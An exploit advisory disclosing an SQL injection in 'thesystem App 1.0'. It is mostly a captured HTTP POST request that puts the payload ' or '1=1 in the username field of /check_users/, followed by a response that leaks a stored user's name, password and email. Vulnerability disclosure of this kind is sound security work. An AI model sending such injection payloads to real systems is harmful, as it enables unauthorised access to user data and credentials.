thesystem App 1.0 - 'username' SQL Injection

# Exploit Title: thesystem App 1.0 - 'username' SQL Injection
# Author: Anıl Baran Yelken 
# Discovery Date: 2019-09-26 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Description: 
# Simple SQL injection after login bypass(login_required didn't used) 

POST /check_users/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------54363239114604 
Content-Length: 327 
Connection: close 
Referer: http://127.0.0.1:8000/check_users/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
Upgrade-Insecure-Requests: 1 
-----------------------------54363239114604 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
lZVnIo12dzwRuJbCXjjr7cVAQKa4qwhBwdk85Uq4aHpWdqtNTP2rCZB8pmU1uQjj 
-----------------------------54363239114604 
Content-Disposition: form-data; name="username" 
' or '1=1 
-----------------------------54363239114604-- 

HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:40:24 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 34 
User:('test', '1234', 'test@test')